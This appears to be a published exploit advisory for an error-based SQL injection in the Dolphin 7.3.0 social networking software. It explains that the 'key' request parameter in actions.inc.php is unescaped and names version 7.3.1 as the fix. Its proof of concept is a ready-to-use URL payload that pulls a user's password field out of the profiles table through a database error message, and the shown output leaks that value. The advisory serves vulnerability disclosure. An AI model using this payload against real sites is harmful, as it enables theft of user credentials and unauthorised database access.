Dolphin 7.3.0 Error Based SQL Injection

2016.09.21

Credit: Kacper Szurek

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: CWE-89

# Exploit Title: Dolphin 7.3.0 Error Based SQL Injection
# Date: 20-09-2016
# Software Link: https://www.boonex.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
  
1. Description
 
`$_REQUEST['key']` is not escaped inside `actions.inc.php`.
 
http://security.szurek.pl/dolphin-730-error-based-sql-injection.html
 
2. Proof of Concept
 
http://dolphin/flash/XML.php?module=chat&action=RayzSetMembershipSetting&id=1&_t=41920&key=' UNION select 1, exp(~(select*from(SELECT Password FROM profiles WHERE ID=1)x)); -- a
 
which is rendered as:
 
Database access error. Description: DOUBLE value is out of range in 'exp(~((select '%password_here%' from dual)))'<?xml version='1.0' encoding='UTF-8'?><ray><result value="Error saving setting." status="failed" /></ray>
 
3. Solution:
    
Update to version 7.3.1

References:

http://security.szurek.pl/

See this note in RAW Version

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Dolphin 7.3.0 Error Based SQL Injection

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